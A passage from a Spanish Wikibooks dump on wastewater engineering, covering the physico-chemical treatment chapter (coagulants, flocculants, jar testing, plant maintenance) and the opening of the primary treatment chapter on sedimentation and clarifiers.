Estas cargas son, en general, negativas, aunque los hidróxidos de hierro y aluminio las suelen tener cargas positivas.

El tratamiento físico químico del agua residual tiene como finalidad mediante la adición de ciertos productos químicos la alteración del estado físico de estas sustancias que permanecerían por tiempo indefinido de forma estable para convertirlas en partículas susceptibles de separación por sedimentación.

Mediante este tratamiento puede llegar a eliminarse del 80 al 90% de la materia total suspendida, del 40 al 70% de la DBO5 y del 30 al 40% de la DQO.

* Ítem de lista viñeteada

===2. ETAPAS DEL TRATAMIENTO FÍSICO-QUÍMICO.===

Para romper la estabilidad de las partículas coloidales y poderlas separar, es necesario realizar tres operaciones: coagulación, floculación y decantación o flotación posterior.


====2.1 Coagulación.====

La coagulación consiste en desestabilizar los coloides por neutralización de sus cargas, dando lugar a la formación de un flóculo.

La coagulación de las partículas coloidales se consigue añadiendo al agua un producto químico (electrolito) llamado coagulante. Normalmente se utilizan las sales de hierro(cloruro férrico) y aluminio.

Se pueden considerar dos mecanismos básicos en este proceso :

a) Neutralización de la carga del coloidal

El electrolito al solubilizarse en agua libera iones positivos con la suficiente densidad de carga para atraer a las partículas coloidales y neutralizar su carga.

Se ha observado que el efecto aumenta marcadamente con el número de cargas del ión coagulante. Así pues, para materias coloidales con cargas negativas, los iones Ba(bario) y Mg(magnesio), bivalentes, son en primera aproximación 30 veces más efectivos que el Na(sodio), monovalente; y, a su vez, el Fe(hierro) y Al(aluminio), trivalentes, unas 30 veces superiores a los divalentes.

Para los coloides con cargas positivas, la misma relación aproximada existe entre el ión cloruro, Cl-, monovalente, el sulfato, (SO4)-2, divalente, y el fosfato, (PO4)-3, trivalente.

b) Inmersión en un precipitado o flóculo de barrido.

Los coagulantes forman en el agua ciertos productos de baja solubilidad que precipitan. Las partículas coloidales sirven como núcleo de precipitación quedando inmersas dentro del precipitado.

Los factores que influyen en el proceso de coagulación:

''a) pH'' EL pH es un factor crítico en el proceso de coagulación. Siempre hay un intervalo de pH en el que un coagulante específico trabaja mejor, que coincide con el mínimo de solubilidad de los iones metálicos del coagulante utilizado.

Siempre que sea posible, la coagulación se debe efectuar dentro de esta zona óptima de pH, ya que de lo contrario se podría dar un desperdicio de productos químicos y un descenso del rendimiento de la planta.

Si el pH del agua no fuera el adecuado, se puede modificar mediante el uso de coadyuvantes o ayudantes de la coagulación, entre los que se encuentran:

* Cal viva.

* Cal apagada.

* Carbonato sódico.

* Sosa Cáustica.

* Ácidos minerales.

''b) Agitación rápida de la mezcla.''

Para que la coagulación sea óptima, es necesario que la neutralización de los coloides sea total antes de que comience a formarse el flóculo o precipitado.

Por lo tanto, al ser la neutralización de los coloides el principal objetivo que se pretende en el momento de la introducción del coagulante, es necesario que el reactivo empleado se difunda con la mayor rapidez posible, ya que el tiempo de coagulación es muy corto (1sg).

''c) Tipo y cantidad de coagulante.''

Los coagulantes principalmente utilizados son las sales de aluminio y de hierro. Las reacciones de precipitación que tienen lugar con cada coagulante son las siguientes:

*'''Sulfato de aluminio (también conocido como sulfato de alúmina) (Al2(SO4)3)'''

Cuando se añade sulfato de alúmina al agua residual que contiene alcalinidad de carbonato ácido de calcio y magnesio, la reacción que tiene lugar es la siguiente:

Al2(SO4)3 + 3 Ca(HCO3)2 = 2 Al(OH)3 + 3 CaSO4 + 6 CO2 La reacción es análoga cuando se sustituye el bicarbonato cálcico por la sal de magnesio.

Rango de pH para la coagulación óptima: 5-7,5.

Dosis: en tratamiento de aguas residuales, de 100 a 300 g/m3, según el tipo de agua residual y la exigencia de calidad.

* Con cal:

Al2(SO4)3 +3Ca(OH)2 = 2 Al(OH)3 + 3 CaSO4 Dosis: se necesita de cal un tercio de la dosis de sulfato de alúmina comercial.

* Con carbonato de sodio:

Al2(SO4)3 + 3 H2O + 3 Na2CO3 = 2 Al(OH)3 + 3 Na2SO4 + 3 CO2 Dosis: se necesita entre el 50 y el 100% de la dosis de sulfato de aluminio comercial.

*'''Sulfato ferroso (FeSO4) '''

a) Con la alcalinidad natural:

FeSO4 + Ca(HCO3)2 = Fe(OH)2 + CaSO4 + CO2 Seguido de:

Fe(OH)2 + O2 + H2O = Fe(OH)3 Rango de pH para la coagulación óptima, alrededor de 9,5.

Dosis: se necesitan de 200 a 400 g/m3 de reactivo comercial FeS04 7H2O * Con cal:

Fe(SO4)2 + Ca(OH)2 = Fe(OH)2 + Ca(SO4) Seguido de:

Fe(OH)2 + O2 + H2O = Fe(OH)3 Dosis de cal: el 26% de la dosis de sulfato ferroso.

*'''Sulfato férrico (Fe2(SO4)3) '''

* Con la alcalinidad natural:

Fe2(SO4)3 + 3 Ca(HCO3)2 = 2 Fe(OH)3 + 3 CaSO4 + 6 CO2 Rango de pH para la coagulación óptima: entre 4 y 7, y mayor de 9.

Dosis: de 10 a 150 g/m3 de reactivo comercial Fe2(SO4)3 9H2O * Con cal:

Fe2(SO4)3 + 3 Ca(OH)2 = 2 Fe(OH)3 + 3 CaSO4 Dosis de cal: el 50% de la dosis de sulfato férrico.

*'''Cloruro férrico (FeCl3) '''

* Con la alcalinidad natural:

2 FeCl3 + 3 Ca(HCO3)2 = 3 CaCl2 + 2 Fe(OH)3 + 6 CO2 Rango de pH para la coagulación óptima: entre 4 y 6, y mayor de 8.

Dosis: de 5 a 160 g/m3 de reactivo comercial FeCl3 6H2O * Con cal:

2 FeCl3 + 3 Ca(OH)2 = 2 Fe(OH)3 + 3 CaCl2 La selección del coagulante y la dosis exacta necesaria en cada caso, sólo puede ser determinada mediante ensayos de laboratorio (Jar-Test).

====2.2. Floculación.====

La floculación trata la unión entre los flóculos ya formados con el fin aumentar su volumen y peso de forma que pueden decantar Consiste en la captación mecánica de las partículas neutralizadas dando lugar a un entramado de sólidos de mayor volumen. De esta forma, se consigue un aumento considerable del tamaño y la densidad de las partículas coaguladas, aumentando por tanto la velocidad de sedimentación de los flóculos.

Básicamente, existen dos mecanismos por los que las partículas entran en contacto:

*Por el propio movimiento de las partículas (difusión browniana). En este caso se habla de Floculación pericinética o por convección natural. Es muy lenta.

*Por el movimiento del fluido que contiene a las partículas, que induce a un movimiento de éstas. Esto se consigue mediante agitación de la mezcla. A este mecanismo se le denomina Floculación ortocinética o por convección forzada.

Existen además ciertos productos químicos llamados floculantes que ayudan en el proceso de floculación. Un floculante actúa reuniendo las partículas individuales en aglomerados, aumentando la calidad del flóculo (flóculo más pesado y voluminoso).

Hay diversos factores que influyen en la floculación:

''a) Coagulación previa lo más perfecta posible.''

''b) Agitación lenta y homogénea.''

La floculación es estimulada por una agitación lenta de la mezcla puesto que así se favorece la unión entre los flóculos. Un mezclado demasiado intenso no interesa porque rompería los flóculos ya formados.

''c) Temperatura del agua.''

La influencia principal de la temperatura en la floculación es su efecto sobre el tiempo requerido para una buena formación de flóculos.

Generalmente, temperaturas bajas dificultan la clarificación del agua, por lo que se requieren periodos de floculación más largos o mayores dosis de floculante.

''d) Características del agua.''

Un agua que contiene poca turbiedad coloidal es, frecuentemente, de floculación más difícil, ya que las partículas sólidas en suspensión actúan como núcleos para la formación inicial de flóculos.

''e) Tipos de floculantes'' Según su naturaleza, los floculantes pueden ser:

*Minerales: por ejemplo la sílice activada. Se le ha considerado como el mejor floculante capaz de asociarse a las sales de aluminio. Se utiliza sobre todo en el tratamiento de agua potable.

*Orgánicos: son macromoléculas de cadena larga y alto peso molecular, de origen natural o sintético.

Los floculantes orgánicos de origen natural se obtienen a partir de productos naturales como alginatos (extractos de algas), almidones (extractos de granos vegetales) y derivados de la celulosa. Su eficacia es relativamente pequeña.

Los de origen sintético, son macromoléculas de cadena larga, solubles en agua, conseguidas por asociación de monómeros simples sintéticos, alguno de los cuales poseen cargas eléctricas o grupos ionizables por lo que se le denominan polielectrolitos.

Según el carácter iónico de estos grupos activos, se distinguen:

* Polielectrolitos no iónicos: son poliacrilamidas de masa molecular comprendida entre 1 y 30 millones.

* Polielectrolitos aniónicos: Caracterizados por tener grupos ionizados negativamente (grupos carboxílicos).

* Polielectrolitos catiónicos: caracterizados por tener en sus cadenas una carga eléctrica positiva, debida a la presencia de grupos amino.

La selección del polielectrolito adecuado se hará mediante ensayos jartest.

En general, la acción de los polielectrolitos puede dividirse en tres categorías:

En la primera, los polielectrolitos actúan como coagulantes rebajando la carga de las partículas. Puesto que las partículas del agua residual están cargadas negativamente, se utilizan a tal fin los polielectrolitos catiónicos.

La segunda forma de acción de los polielectrolitos es la formación de puentes entre las partículas. El puente se forma entre las partículas que son adsorbidas por un mismo polímero, las cuales se entrelazan entre sí provocando su crecimiento.

La tercera forma de actuar se clasifica como una acción de coagulaciónformación de puentes, que resulta al utilizar polielectrolitos catiónicos de alto peso molecular. Además de disminuir la carga, estos polielectrolitos formarán también puentes entre las partículas.

====2.3. Decantación o Flotación.====

Esta ultima etapa tiene como finalidad el separar los agregados formados del seno del agua.
La separación de los lodos activados (la biomasa) se realiza por gravitación en un tanque,
más a menudo de diseño cilíndrico (ver el esquema debajo). Existen también decantadores
de diseño paralepipédico; sin embargo los decantadores, equipados de placas
inclinadas sumergidas, resultan poco adaptados para la decantación de los lodos activados.
Las condiciones de distribución en el decantador de la biomasa que viene del tanque
de aireación y de su reanudación en el fondo del decantador son puntos importantes del
diseño.

===3. DESCRIPCIÓN DEL TRATAMIENTO FÍSICO-QUÍMICO.===

El tratamiento físico-químico puede constituir una única etapa dentro del tratamiento del agua residual o bien puede interponerse como proceso de depuración complementario entre el pretratamiento y el tratamiento biológico.

En cualquiera de los dos casos, el vertido procedente del pretratamiento es sometido a las distintas fases de depuración físico-químicas:

*Coagulación
*Coadyuvacion
*Floculación.

El proceso de coagulación se efectúa en un sistema que permita una mezcla rápida y homogénea del producto coagulante con el agua residual, llamado mezclador rápido o coagulador. Consiste en una cámara de mezcla provista de un sistema de agitación que puede ser del tipo de hélice o turbina.

El tiempo de retención es de 0,3 a 5 minutos.

El reactivo (coagulante) se almacena en un depósito específico que puede ser de material diverso como PRFV, polietileno, metálico con imprimación, etc.

El coagulante debe ser dosificado al vertido en forma de disolución; a una concentración determinada. En algunos casos, el reactivo se recibe en la planta disuelto y se almacena en los depósitos. Otras veces se recibe en estado sólido, en cuyo caso, el tanque utilizado para su almacenamiento debe estar provisto de un sistema de agitación para la preparación de la disolución.

El transporte del producto desde el deposito de almacenamiento hasta la cámara de mezcla se lleva a cabo mediante una bomba dosificadora.

La coadyuvacion tiene como finalidad llevar el vertido a un pH óptimo para ser tratado. Para ello se utilizan ciertos productos químicos llamados coadyuvantes o ayudantes de coagulación.

Este proceso tiene lugar en la misma cámara donde se realiza la coagulación.

Como en el caso del coagulante, el coadyuvante se prepara en un dispositivo aparte provisto de un sistema de agitación. Igualmente, para la adición del reactivo al agua residual se emplea una bomba dosificadora.

El vertido, una vez coagulado, pasará a la siguiente etapa, denominada floculación. En dicha etapa, se le añade al agua un producto químico llamado floculante ( polielectrolito), cuya función fundamental es favorecer la agregación de la partículas individuales o flóculos formados durante la coagulación. Se originan floculos de mayor tamaño, los cuales, debido a su aumento de peso, decantaran en la ultima etapa del tratamiento físico-químico.

La floculación puede tener lugar en un floculador separado o bien en el interior de un decantador.

Los floculadores son depósitos provistos de sistemas de agitación que giran con relativa lentitud para no romper los flóculos formados durante la coagulación. El tiempo de retención en estos sistemas suele ser de 10 a 30 minutos.

Los sistemas de agitación pueden estar constituidos por hélices o por un conjunto de palas fijadas sobre un eje giratorio horizontal o vertical.

Otra posibilidad es realizar el proceso de coagulación-floculación y decantación en una sola unidad. En este caso, el decantador lleva incorporado un sistema de recirculación de fangos para mejorar el crecimiento de las partículas y facilitar su sedimentación.

La dosificación de polielectrolito también se hace en forma de disolución, debido a las características propias del reactivo (alta viscosidad), su preparación requiere un especial cuidado.

El depósito de almacenamiento de polielectrolito deberá disponer de un agitador para poder proceder a su acondicionamiento. La aplicación del reactivo al agua se realiza mediante una bomba especial para este tipo de producto. Se suele utilizar una bomba de desplazamiento y caudal variable, por ejemplo, una bomba tipo mono, de engranaje, pistón, etc.

===4. APLICACIONES DEL TRATAMIENTO FÍSICO-QUÍMICO.===

Las principales aplicaciones del tratamiento físico-químico son las siguientes:

*Depuradoras para zonas turísticas con vertidos reducidos a ciertas épocas del año.

En el caso de poblaciones cuyos vertidos reducidos a ciertas épocas del año o para cubrir puntas estacionales.

En depuradoras que tratan los vertidos de una comunidad o de una población cuyo número de usuarios es muy variable, o bien, para cubrir puntas estacionales, este tratamiento puede aplicarse inmediatamente antes de una depuración biológica. En este caso la misión del tratamiento físico químico seria la reducción de la contaminación que llega al proceso biológico.

*Depuradoras para zonas industriales o mixtas donde los vertidos arrastran iones metálicos tóxicos que pueden destruir la actividad biológica.

En muchas localidades, la descarga de vertidos industriales a las alcantarillas ha dado como resultado un agua residual que no es tratable por medios biológicos. En tales situaciones, el tratamiento físico químico constituye una solución alternativa *Como tratamiento de afino para la eliminación de nutrientes como el fósforo.

===5. MANTENIMIENTO.===

El mantenimiento de una planta de tratamiento físico-químico, y el de una depuradora en general, se desarrolla desde dos puntos de vista:

Conjunto de técnicas destinadas a prever averías, efectuar revisiones y engrases, realizar operaciones eficaces y orientar a los usuarios.

Prestación de un servicio destinado a la conservación del rendimiento de la depuración, a la explotación de la infraestructura técnica y al respeto del entorno.

En la estación de tratamiento de aguas residuales, se van a realizar tres tipos de mantenimiento:

*Correctivo.

*Preventivo.

*Predictivo.

====5.1. Mantenimiento correctivo.====

El mantenimiento correctivo se va a dedicar, principalmente, a reparar las averías que se producen. El objetivo es minimizar este tipo de mantenimiento.

====5. 2. Mantenimiento preventivo.====

El mantenimiento preventivo se dedica a ejecutar una serie de funciones para evitar las averías de los equipos. A través de este tipo de mantenimiento se pretenden conseguir los siguientes objetivos:

*Reducir paradas por averías.

*Reducir gastos por averías.

*Reducir el tiempo de reparación

*Reducir costes de almacenaje de repuestos *Reducir costes de personal especializado.

El mantenimiento se aplica en tres sentidos:

*Revisiones periódicos, conociendo en cada momento el estado y situación de cada una de las máquinas.

*Ejecución del programa sin interferencia del funcionamiento normal de la depuradora.

*Inspecciones oculares de los elementos accesibles y entretenimiento regular de ajuste, engrase y lubricación.

Para la puesta en marcha del mantenimiento es importante la apertura de unas fichas de máquinas, basándose en el manual de servicio de la depuradora y la documentación técnica que se posea. Estas fichas recogen las características de cada equipo, así como fabricantes y suministradores de repuestos.

Se abrirán, así mismo, una fichas de mantenimiento para cada máquina, en las cuales se contemplarán principalmente los siguientes datos:

*Fechas en las que se han realizado revisiones.

*Piezas sustituidas.

*Duración de la reparación.

*Cualquier información observada en la reparación.

*Coste de la reparación.

A partir de esta documentación se establece un programa con las siguientes actuaciones:

*Programa de lubricación y engrase.

*Programa de revisiones generales y ordinarias.

Se tratara de llevar a cabo una información de los datos para determinar las ordenes de trabajo semanales y diarias, obteniendo de esta forma una mejora en el seguimiento y control del mantenimiento.

====5.3. Mantenimiento predictivo.====

El mantenimiento predictivo o condicional investiga cuál es la causa de la avería e intenta que no vuelva a producirse.

Esta basado en el establecimiento de una serie de controles sobre los equipos, los cuales dan idea acerca de su funcionamiento.

Se estudiarán las formas de trabajo de cada maquina, para llevarla a condiciones idóneas de funcionamiento, o bien para influir en el diseño, optimizando el equipo y evitando condiciones de trabajo excesivamente duras.

===6. PREPARACIÓN DE DISOLUCIONES EN PLANTA.===

La preparación de disoluciones a escala de planta puede realizarse manualmente o mediante un sistema automático. La elección dependerá de la cantidad de producto a manipular diariamente y en general, se recomienda la instalación de un sistema automático cuando dicha cantidad sea considerable.

====6.1. Coagulantes y Coadyuvantes.====

Las disoluciones de coagulantes y coadyuvantes se preparan mediante la adición del peso o volumen, medido del producto, bien utilizado una bomba o bien de forma manual a un deposito que contenga la cantidad de agua necesaria. Dicho deposito debe estar provisto de una buena agitación para asegurar la mezcla total y homogénea del producto en el agua. Es recomendable, antes de añadir el reactivo, cubrir con agua entre un tercio y un medio de la capacidad del tanque de mezcla, de modo que el nivel quede por encima de las paletas del agitador.

Los coagulantes se preparan en un rango de concentración entre 10 y el 50% (relación peso / volumen). Por su parte, la concentración en que se preparan los coadyuvantes oscila entre un 0.5 y un 5%.

====6.2. Polielectrolitos.====

Los polielectrolitos se pueden presentar como productos sólidos o líquidos.

Los sólidos son suministrados en forma de polvo o perlas de color blanco, y se fabrican dentro de una gama de granulometría controlada a fin de proporcionar una características de disolución optimas. La adición de estos productos al agua sin un procedimiento de dispersión adecuado, puede dar lugar a la formación de grandes agregados de gel que serian muy difíciles de disolver completamente. Esto puede resolverse fácilmente, obteniendo una eficaz dispersión del producto, utilizando un eductor.

Un eductor consiste en una simple bomba de vacío hidráulica que proporciona soluciones homogéneas con el mínimo tiempo y esfuerzo. Dicha bomba debe colocarse sobre el tanque de preparación del polielectrolito. Este tanque debe estar equipado con un agitador adecuado que proporciona una buena, pero no demasiado fuerte, agitación del contenido del tanque. Se añade suficiente agua al tanque, habitualmente 1/3 - 1/2 de su capacidad, para cubrir las paletas del agitador. Con la llave del agua del eductor, donde es arrastrado hacia el chorro de agua de alta velocidad, obteniéndose así una humectación discreta de cada partícula antes de su entrada en el tanque de preparación.

Las disoluciones de productos líquidos no presentan tantos problemas de preparación. Basta con la adición de la cantidad requerida de reactivo, contenga la cantidad de agua necesaria. El tanque debe estar provisto de una buena agitación para asegurar la mezcla total y homogénea del producto en el agua.

Estas soluciones preparadas en planta pueden mantener su eficacia durante un periodo de más de 2-3 días. Después de este periodo de tiempo, y dependiendo de las condiciones de almacenaje, puede producirse una perdida de efectividad.

La concentración de la solución para su aplicación al sistema varia según el producto a utilizar. la viscosidad de la solución es un factor a tener en cuenta. Para la distribución optima del producto a través del substrato a tratar, debe evitarse la adición de soluciones excesivamente viscosas.

Las concentraciones recomendadas son 0.05%-0.1% para productos de calidad sólida, 0.1%-0.2% para los productos líquidos en dispersión y 0.5%- 1.0% para los líquidos en solución.

Los polielectrolitos de calidad sólida deben almacenarse en lugar fresco y seco y los envases deben mantenerse cerrados siempre que no se utilicen a fin de prevenir la entrad de humedad. Bajo condiciones adecuadas de almacenamiento, estos permanecen estables durante dos años.

Los productos líquidos se suministran como líquidos manejables capaces de ser bombeados inmediatamente o bien ser vertidos de forma manual desde sus contenedores. Estos productos deben quedarse en lugar fresco donde se eviten las temperaturas extremas. Bajo condiciones correctas de almacenamiento, los productos permanecerán estables durante periodos de 1 a 2 años.

Los polielectolitos utilizados en el tratamiento de aguas residuales presentan una toxicidad oral baja y no presentan ningún problema anormal en su manipulación.

===7. ENSAYO DE LABORATORIO. MÉTODO “PRUEBA DE JARRAS”.===

Para realizar los ensayos de laboratorio, se utiliza un dispositivo llamado Agitador Múltiple provisto de cuatro o cinco puntos de agitación, que permite agitar simultáneamente, a una velocidad determinada, el líquido contenido en una serie de vasos.

Es importante que durante el ensayo el agua tenga una temperatura próxima a la que tendrá realmente durante su tratamiento en planta.

El agua a clarificar se agita en los distintos vasos, y a continuación, se adiciona el coagulante manteniendo una agitación entre 100 y 150 revoluciones por minuto para que la mezcla sea rápida. Dicha agitación se mantiene durante 3 a 10 minutos.

Posteriormente, se adiciona algún corrector de pH si hiciera falta. A continuación se añade el polielectrolito (o polímero), agitando rápidamente unos 0,5 y 2 minutos para que se reparta rápidamente e inmediatamente se reduce la agitación entre 35 y 60 revoluciones por minuto para conseguir la maduración y crecimiento flocular. Esta última fase puede durar entre 5 y 10 minutos, pasada la cual se desconecta el agitador. Los flóculos se van depositando, pudiendo variar la duración de la sedimentación entre 5 y 30 minutos.

Después se toma agua clarificada de dichos vasos y se procede a determinar los distintos parámetros que nos dan idea del grado de clarificación obtenido como son Turbidez, color, DQO, sólidos en suspensión, etc.

Teniendo en cuenta que pueden tratarse a la vez varias muestras, se puede comprobar las influencias causadas por los distintos tipos de coagulantes y floculantes, por la duración e intensidad de la agitación, así como la duración de la sedimentación de los flóculos formados.

Concluidas las distintas pruebas, se determina el volumen del lodo obtenido trasvasando el sedimento cuidadosamente a un cilindro graduado, o bien haciendo una lectura directa en el beaker.  Uno de los objetivos de la Prueba de Jarras es determinar la Dosis Optima de Coagulante y Floculante para su debida dosificación en la Planta de Tratamiento.

Bibliografía:
Mangini, S. P., Prendes, H., Amsler, M. L., &amp; Huespe, J. (2003). Importancia de la floculación en la sedimentación de la carga de lavado en ambientes del río Paraná, Argentina. Ingeniería hidráulica en México, 18(3), 55-70.

(falta diagrama de bloques)

== Enlaces externos ==
{{Commonscat|Wastewater treatment plants}}
{{Wikilibros|Ingeniería de aguas residuales|Ingeniería de aguas residuales}}
{{Wikilibros|Impactos ambientales/Tratamiento de aguas servidas y lodo}}
* [http://www.ingenieriaquimica.org/articulos/diseno-planta-aguas-residuales Caso práctico de diseño de planta de aguas residuales]
* [http://ptar.prosii.com Tratamiento de Aguas Residuales]


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Pretratamiento
 |actual=Tratamiento físico-químico
 |siguiente=Tratamiento primario
}}

{{AutoCat}}</text>
      <sha1>969q4wi1j7j2b18tzygspq761yua9vt</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Tratamiento primario</title>
    <ns>0</ns>
    <id>12670</id>
    <revision>
      <id>429964</id>
      <parentid>280107</parentid>
      <timestamp>2026-08-02T09:29:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429964</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="30456" sha1="3o04q52lyna01wru3fk7cc935b6oeuf" xml:space="preserve">===1. OBJETIVOS DEL TRATAMIENTO PRIMARIO===

Principalmente se pretende la reducción de los sólidos en suspensión del agua residual. Dentro de estos SS pueden distinguirse:
* Los sólidos sedimentables: son los que sedimentan al dejar el A.R. en condiciones de reposo durante una hora, este tiempo también depende del tamaño del sedimentador
* Los sólidos flotantes: definibles por contraposición a los sedimentables.
* Los sólidos coloidales (tamaño entre 10-3-10 micras).

Como, en general, parte de los SS están constituidos por materia orgánica, consecuencia del tratamiento primario, suele ser la reducción de la DBO. 

El grado de reducción de éstos índices de contaminación depende del proceso utilizado y de las características del A.R.

===2. TIPOS DE PROCESOS===

Aunque existen múltiples procesos que se pueden considerar incluidos dentro del tratamiento primario ( filtración, tamizado, ciertos lagunajes, fosas sépticas, tanques Imhoff...), los principales procesos se pueden clasificar según:
* Procesos de separación sólido-líquido:
* Sedimentación, también llamada decantación primaria
* Flotación
* Proceso mixto (decantación-flotación)
*  Procesos complementarios de mejora:
* Floculación
* Coagulación (proceso físico-químico)

 
===3. LA DECANTACIÓN PRIMARIA===

====3.1. Objetivo====

El objetivo de la decantación primaria es la reducción de los SS de las A.R. bajo la exclusiva acción de la gravedad. Por tanto sólo se puede pretender la eliminación de los sólidos sedimentables y las materias flotantes.

====3.2. Teoría de la sedimentación aplicable====

Según la clasificación de Fitch, basada en la concentración  y tendencia a la interacción de las partículas, existen cuatro tipos de sedimentación diferenciadas:
* Sedimentación clase 1 ó de partículas discretas

Ej: Desarenado
* Sedimentación clase 2 ó de partículas floculantes

Ej: Decantación primaria
* Sedimentación clase 3 o zonal

Ej: Decantación Secundaria en proceso Fangos Activos
* Sedimentación clase 4 ó por compresión

Ej: Espesamiento de Fangos por gravedad

En la sedimentación de partículas discretas éstas decantan de forma independiente y con una velocidad de sedimentación constante, que bajo ciertas hipótesis viene dada por la Ley de Stockes. Así, en el movimiento horizontal del fluido, la trayectoria de sedimentación de la partícula es una línea recta.

En la decantación primaria, las partículas tienen ciertas características que producen su floculación durante la sedimentación. Así, al chocar una partícula que está sedimentando con otra partícula, ambas se agregan formando una nueva partícula de mayor tamaño y aumentando, por tanto, su velocidad de sedimentación. En este caso, la trayectoria de la partícula en un depósito de sedimentación será una línea curva de pendiente creciente.

====3.3. Parámetros de diseño====

Los parámetros de diseño de la sedimentación de partículas floculantes son dos:
* Velocidad Ascensional o Carga Superficial: también llamado Velocidad Descensional, es el caudal de fluido dividido por la superficie del depósito de sedimentación. Éste será el único parámetro de la sedimentación de partículas discretas.
* Tiempo de Retención: Volumen del depósito dividido por el caudal. A veces, en vez de este parámetro se toma la altura del depósito al ser ambos interdependientes. 

Además de estos parámetros existen ciertas características del A.R. que afectan al rendimiento del proceso. Así, en la decantación primaria los factores básicos son la concentración de SS y las características floculantes de los mismos. Así, por ejemplo el rendimiento de reducción aumentará al aumentar la concentración de SS.

====3.4. Tipología de decantadores====

Existen múltiples tipos de decantadores reales. Podemos hablar sólo de las características principales.

En cuanto a la forma en planta del decantador existen tres tipos básicos:

i) Decantador circular

ii) Decantador rectangular

iii) Decantador de planta cuadrada ( su funcionamiento suele asimilarse a uno de los dos básicos)

=====3.4.1. Decantadores circulares=====

En general, el agua entra por el centro del decantador y es recogida en toda la periferia del mismo. Frente a este sistema se ha desarrollado el de alimentación periférica con salida del agua bien central o bien periférica. Se evita las perturbaciones producidas por la disipación de la energía del agua en la entrada mediante la instalación de  deflectores o corona de reparto en los circulares.

La salida habitual del agua es a través de un vertedero triangular, que aunque no es el óptimo desde el p.d.v. del reparto ( al considerar el posible error de nivelación) sí lo es al considerar las amplias variaciones del caudal

La evacuación de los fangos puede contener tres pasos: Acumulación, almacenamiento y extracción.

La acumulación de fangos en el decantador puede realizarse de dos formas básicas: por gravedad o mediante equipos mecánicos. La primera se realiza mediante el fondo inclinado en forma de tolva del decantador, pero cuando las dimensiones de éste son excesivamente grandes hay que recurrir a equipos mecánicos que acumulen el fango sedimentado, por arrastre, en uno o varios puntos fijos de extracción, mediante rasquetas que barren la solera del decantador, ó bien mediante la extracción de los fangos por succión ( bien por depresión hidráulica o por vacío) sin necesidad de acumulación, pero esta práctica es principalmente usada en la decantación secundaria del proceso de fangos activos.

El equipo de rasquetas puede adoptar principalmente dos alternativas diferenciadas por su sistema de accionamiento: Central o periférico ( Un puente radial al que van unidas las rasquetas y que gira a través de una rueda tractora accionada por un motorreductor y que rueda por la coronación del muro periférico del decantador ). A su vez, la estructura de las rasquetas puede ser variada, siendo la básica la de espina de pez, consistente en varias rasquetas equidistantes formando un ángulo constante con el radio del decantador, y que arrastran una partícula desde la periferia al centro del decantador, haciendo pasar la partícula de una rasqueta a otra.

El almacenamiento se realiza normalmente en pocetas ubicadas en la solera del decantador, situadas en el centro del decantador circular en el que a veces se coloca un sistema de rasquetas de paletas de espesamiento, en esta poceta, para aumentar la concentración del fango antes de su extracción.

La extracción o purga del fango se puede realizar automáticamente de dos formas (Nunca es aconsejable la extracción manual, ni aún en las pequeñas depuradoras). En ambos casos, la extracción es periódica, por lo que el automatismo consiste en la temporización regular de los tiempos de funcionamiento y parada del sistema de extracción. Éste se materializa bien en válvulas automáticas o bien en bombas especiales para fangos.

La eliminación de flotantes se realiza disponiendo delante del vertedero de salida una chapa deflectora que evita la salida de los flotantes. Para su acumulación los sistemas de rasquetas disponen generalmente de barredores superficiales que los arrastran hasta el punto de extracción, consistente, en una tolva que a veces dispone de una rampa por donde sube parte de la barredora.

=====3.4.2. Decantadores rectangulares=====

La alimentación es generalmente por uno de los lados más estrechos, saliendo el agua por el lado opuesto, también a través de un vertedero triangular.

También la acumulación de fangos puede ser por gravedad o por rasquetas. Existen dos tipos básicos de equipos de rasquetas para la acumulación de fangos. En ambos casos, las rasquetas recorren el decantador a lo largo del mismo ocupando cada rasqueta todo su ancho.

Una vez que las rasquetas han barrido el fondo, se elevan y, recorriendo el largo del decantador en dirección opuesta, vuelven al punto de partida, aprovechando este movimiento para la acumulación de flotantes.

Las cadenas están unidas a un sistema de cadenas que constituyen el sistema tractor junto con el motorreductor de accionamiento.

El otro equipo consiste en un puente a lo ancho del decantador del que cuelga el sistema de rasquetas. El movimiento que sigue es de vaivén a lo largo del decantador, lo que obliga a la elevación de las rasquetas en el movimiento de retroceso, de estar el punto de extracción en un sólo lado del decantador.

Las pocetas de almacenamiento de fangos se sitúan a lo ancho del decantador rectangular en el lado de entrada del agua.

La extracción de flotantes se realiza por tubos acanalados giratorios.

Sobre cuál es el mejor decantador, a partir de datos estadísticos de explotación de múltiples depuradoras se ha llegado a la conclusión que son los circulares los que consiguen mejores rendimientos. Pero teniendo en cuenta la gran cantidad de factores que afectan al funcionamiento de la decantación, parece que no podemos afirmarlo científicamente. Por otro lado, desde un p.d.v. hidráulico, el decantador rectangular tendría mejor funcionamiento. Sin embargo, un mejor funcionamiento hidráulico no implica un mejor rendimiento necesariamente.

====3.5. Fangos producidos====

La concentración del fango primario suele estar entre un 3-8%.

Cuando se envía el exceso de fangos activos a la decantación primaria, la concentración del fango mixto normalmente será menor que la correspondiente a la del fango primario. En este caso habrá que dimensionar el sistema de evacuación de fangos para el conjunto de fangos mixtos producidos.

====3.6. Explotación====

Los problemas de funcionamiento de la decantación primaria pueden tener su origen en cuatro factores básicos:
* Diseño
* Avería de equipos
* Influente
* Explotación

Dentro de los problemas propios de la explotación, el principal consiste en la temporización de la purga de fangos. Con éste se regula el caudal de extracción de fangos. Si esta Q es excesivo, la concentración de los fangos resulta baja, pudiendo perjudicar a los procesos del tratamiento del fango. Si el Q es pequeño, los fangos se van acumulando en el decantador, lo que puede suponer una disminución de los rendimientos y la entrada de los fangos en anaerobiosis con la consiguiente posibilidad de malos olores y flotación de fango decantado. Parecidas consecuencias puede suponer la adopción de excesivos intervalos de tiempo entre purgas.

====3.7. Aplicabilidad====

La utilidad de la decantación primaria viene condicionada fundamentalmente por dos factores:
* Conseguir el mayor grado de depuración
* Tipo de tratamiento de fangos adoptado en la depuración

